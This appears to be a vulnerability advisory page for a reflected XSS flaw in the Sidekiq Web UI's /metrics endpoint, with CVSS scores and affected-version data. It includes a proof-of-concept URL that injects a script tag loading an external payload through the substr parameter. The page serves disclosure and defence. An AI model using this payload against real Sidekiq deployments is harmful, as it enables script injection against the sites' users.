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rubygemsRubySecRUBY:SIDEKIQ-2024-32887
HistoryApr 25, 2024 - 9:00 p.m.

Reflected XSS in Metrics Web Page

2024-04-2521:00:00
RubySec
github.com
5
reflected xss
metrics web page
sidekiq
http endpoint
substr query param
security vulnerability

CVSS3

5.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

AI Score

6.2

Confidence

High

Reflected XSS in Sidekiq Web UI via the /metrics HTTP end-point and the
substr query param:

https://{host}/sidekiq/metrics?substr=foot%22%3E%3Cscript%20src=%22{payload}%22%20/%3E

Affected configurations

Vulners
Node
rubysidekiqRange7.2.4
VendorProductVersionCPE
rubysidekiq*cpe:2.3:a:ruby:sidekiq:*:*:*:*:*:*:*:*

CVSS3

5.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

AI Score

6.2

Confidence

High